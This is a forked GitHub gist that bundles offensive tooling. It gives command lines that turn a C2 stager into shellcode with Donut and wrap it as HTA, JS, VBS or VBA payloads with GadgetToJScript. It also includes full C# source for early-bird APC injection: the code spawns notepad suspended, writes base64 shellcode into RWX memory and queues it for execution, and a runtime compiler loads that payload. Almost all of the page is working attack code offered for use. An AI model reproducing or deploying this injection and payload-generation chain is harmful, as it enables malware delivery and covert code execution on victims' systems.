Skip to content

Instantly share code, notes, and snippets.

@jjsdub556

jjsdub556/GadgetToJScript Command Reference

Forked from 3xpl01tc0d3r/GadgetToJScript Command Reference
Created October 22, 2020 08:54
Show Gist options
  • Save jjsdub556/90af428bb0dc437316795ccaef9e0d2a to your computer and use it in GitHub Desktop.
Save jjsdub556/90af428bb0dc437316795ccaef9e0d2a to your computer and use it in GitHub Desktop.
Download ZIP

Revisions

  1. @3xpl01tc0d3r 3xpl01tc0d3r revised this gist Jan 30, 2020. 1 changed file with 1 addition and 0 deletions.
    1 change: 1 addition & 0 deletions TestAssemblyLoader.cs
    View file
    Original file line number Diff line number Diff line change
    @@ -16,6 +16,7 @@ public static Assembly compile()
    parameters.CompilerOptions = "/unsafe";

    parameters.ReferencedAssemblies.Add("System.dll");
    parameters.ReferencedAssemblies.Add("System.Core.dll");
    parameters.ReferencedAssemblies.Add("System.Runtime.InteropServices.dll");
    parameters.ReferencedAssemblies.Add("System.EnterpriseServices.dll");
    parameters.ReferencedAssemblies.Add("System.IO.Compression.dll");
  2. @3xpl01tc0d3r 3xpl01tc0d3r renamed this gist Jan 30, 2020. 1 changed file with 0 additions and 3 deletions.
    3 changes: 0 additions & 3 deletions Command References → GadgetToJScript Command Reference
    View file
    Original file line number Diff line number Diff line change
    @@ -1,6 +1,3 @@
    # Command to generate shellcode using Donut
    donut.exe GruntStager.exe

    # Command to generate HTA code using GadgetsToJScript
    GadgetToJScript.exe -w hta

  3. @3xpl01tc0d3r 3xpl01tc0d3r created this gist Jan 30, 2020.
    14 changes: 14 additions & 0 deletions Command References
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,14 @@
    # Command to generate shellcode using Donut
    donut.exe GruntStager.exe

    # Command to generate HTA code using GadgetsToJScript
    GadgetToJScript.exe -w hta

    # Command to generate JS code using GadgetsToJScript
    GadgetToJScript.exe -w js

    # Command to generate VBS code using GadgetsToJScript
    GadgetToJScript.exe -w vbs

    # Command to generate VBA code using GadgetsToJScript
    GadgetToJScript.exe -w vba
    169 changes: 169 additions & 0 deletions Payload.txt
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,169 @@
    using System;
    using System.Runtime.InteropServices;

    public class TestClass
    {
    [DllImport("Kernel32", SetLastError = true, CharSet = CharSet.Unicode)]
    public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId);

    [DllImport("Kernel32", SetLastError = true, CharSet = CharSet.Unicode)]
    public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

    [DllImport("Kernel32", SetLastError = true, CharSet = CharSet.Unicode)]
    public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [MarshalAs(UnmanagedType.AsAny)] object lpBuffer, uint nSize, ref uint lpNumberOfBytesWritten);

    [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
    public static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle, uint dwThreadId);

    [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
    public static extern IntPtr QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData);

    [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
    public static extern uint ResumeThread(IntPtr hThread);

    [DllImport("Kernel32", SetLastError = true, CharSet = CharSet.Unicode)]
    public static extern bool CloseHandle(IntPtr hObject);

    [DllImport("Kernel32.dll", SetLastError = true, CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
    public static extern bool CreateProcess(IntPtr lpApplicationName, string lpCommandLine, IntPtr lpProcAttribs, IntPtr lpThreadAttribs, bool bInheritHandles, uint dwCreateFlags, IntPtr lpEnvironment, IntPtr lpCurrentDir, [In] ref STARTUPINFO lpStartinfo, out PROCESS_INFORMATION lpProcInformation);

    public enum ProcessAccessRights
    {
    All = 0x001F0FFF,
    Terminate = 0x00000001,
    CreateThread = 0x00000002,
    VirtualMemoryOperation = 0x00000008,
    VirtualMemoryRead = 0x00000010,
    VirtualMemoryWrite = 0x00000020,
    DuplicateHandle = 0x00000040,
    CreateProcess = 0x000000080,
    SetQuota = 0x00000100,
    SetInformation = 0x00000200,
    QueryInformation = 0x00000400,
    QueryLimitedInformation = 0x00001000,
    Synchronize = 0x00100000
    }

    public enum ThreadAccess : int
    {
    TERMINATE = (0x0001),
    SUSPEND_RESUME = (0x0002),
    GET_CONTEXT = (0x0008),
    SET_CONTEXT = (0x0010),
    SET_INFORMATION = (0x0020),
    QUERY_INFORMATION = (0x0040),
    SET_THREAD_TOKEN = (0x0080),
    IMPERSONATE = (0x0100),
    DIRECT_IMPERSONATION = (0x0200),
    THREAD_HIJACK = SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT,
    THREAD_ALL = TERMINATE | SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT | SET_INFORMATION | QUERY_INFORMATION | SET_THREAD_TOKEN | IMPERSONATE | DIRECT_IMPERSONATION
    }

    public enum MemAllocation
    {
    MEM_COMMIT = 0x00001000,
    MEM_RESERVE = 0x00002000,
    MEM_RESET = 0x00080000,
    MEM_RESET_UNDO = 0x1000000,
    SecCommit = 0x08000000
    }

    public enum MemProtect
    {
    PAGE_EXECUTE = 0x10,
    PAGE_EXECUTE_READ = 0x20,
    PAGE_EXECUTE_READWRITE = 0x40,
    PAGE_EXECUTE_WRITECOPY = 0x80,
    PAGE_NOACCESS = 0x01,
    PAGE_READONLY = 0x02,
    PAGE_READWRITE = 0x04,
    PAGE_WRITECOPY = 0x08,
    PAGE_TARGETS_INVALID = 0x40000000,
    PAGE_TARGETS_NO_UPDATE = 0x40000000,
    }
    [StructLayout(LayoutKind.Sequential)]
    public struct PROCESS_INFORMATION
    {
    public IntPtr hProcess;
    public IntPtr hThread;
    public int dwProcessId;
    public int dwThreadId;
    }

    [StructLayout(LayoutKind.Sequential)]
    internal struct PROCESS_BASIC_INFORMATION
    {
    public IntPtr Reserved1;
    public IntPtr PebAddress;
    public IntPtr Reserved2;
    public IntPtr Reserved3;
    public IntPtr UniquePid;
    public IntPtr MoreReserved;
    }

    [StructLayout(LayoutKind.Sequential)]
    //internal struct STARTUPINFO
    public struct STARTUPINFO
    {
    uint cb;
    IntPtr lpReserved;
    IntPtr lpDesktop;
    IntPtr lpTitle;
    uint dwX;
    uint dwY;
    uint dwXSize;
    uint dwYSize;
    uint dwXCountChars;
    uint dwYCountChars;
    uint dwFillAttributes;
    public uint dwFlags;
    public ushort wShowWindow;
    ushort cbReserved;
    IntPtr lpReserved2;
    IntPtr hStdInput;
    IntPtr hStdOutput;
    IntPtr hStdErr;
    }


    public static PROCESS_INFORMATION StartProcess(string binaryPath)
    {
    uint flags = 0x00000004;

    STARTUPINFO startInfo = new STARTUPINFO();
    PROCESS_INFORMATION procInfo = new PROCESS_INFORMATION();
    CreateProcess((IntPtr)0, binaryPath, (IntPtr)0, (IntPtr)0, false, flags, (IntPtr)0, (IntPtr)0, ref startInfo, out procInfo);

    return procInfo;
    }

    public TestClass()
    {

    //Add the shellcode
    string b64 = "<Add the Shellcode>";

    byte[] shellcode = new byte[] { };
    shellcode = Convert.FromBase64String(b64);

    uint lpNumberOfBytesWritten = 0;

    PROCESS_INFORMATION processInfo = StartProcess("C:/Windows/System32/notepad.exe");

    IntPtr pHandle = OpenProcess((uint)ProcessAccessRights.All, false, (uint)processInfo.dwProcessId);

    IntPtr rMemAddress = VirtualAllocEx(pHandle, IntPtr.Zero, (uint)shellcode.Length, (uint)MemAllocation.MEM_RESERVE | (uint)MemAllocation.MEM_COMMIT, (uint)MemProtect.PAGE_EXECUTE_READWRITE);

    if (WriteProcessMemory(pHandle, rMemAddress, shellcode, (uint)shellcode.Length, ref lpNumberOfBytesWritten))
    {

    IntPtr tHandle = OpenThread(ThreadAccess.THREAD_ALL, false, (uint)processInfo.dwThreadId);

    IntPtr ptr = QueueUserAPC(rMemAddress, tHandle, IntPtr.Zero);

    ResumeThread(tHandle);

    }
    bool hOpenProcessClose = CloseHandle(pHandle);
    }
    }
    44 changes: 44 additions & 0 deletions TestAssemblyLoader.cs
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,44 @@
    using Microsoft.CSharp;
    using System;
    using System.CodeDom.Compiler;
    using System.Reflection;
    using System.Text;

    namespace GadgetToJScript
    {
    class TestAssemblyLoader
    {
    public static Assembly compile()
    {

    CSharpCodeProvider provider = new CSharpCodeProvider();
    CompilerParameters parameters = new CompilerParameters();
    parameters.CompilerOptions = "/unsafe";

    parameters.ReferencedAssemblies.Add("System.dll");
    parameters.ReferencedAssemblies.Add("System.Runtime.InteropServices.dll");
    parameters.ReferencedAssemblies.Add("System.EnterpriseServices.dll");
    parameters.ReferencedAssemblies.Add("System.IO.Compression.dll");

    string currentDirectory = System.IO.Path.GetDirectoryName(System.Reflection.Assembly.GetEntryAssembly().Location);
    string filePath = System.IO.Path.Combine(currentDirectory, "", "payload.txt");
    CompilerResults results = provider.CompileAssemblyFromFile(parameters, filePath);
    if (results.Errors.HasErrors)
    {
    StringBuilder sb = new StringBuilder();

    foreach (CompilerError error in results.Errors)
    {
    sb.AppendLine(String.Format("Error ({0}): {1}: {2}", error.ErrorNumber, error.ErrorText, error.Line));
    }

    throw new InvalidOperationException(sb.ToString());
    }

    Assembly _compiled = results.CompiledAssembly;

    return _compiled;
    }

    }
    }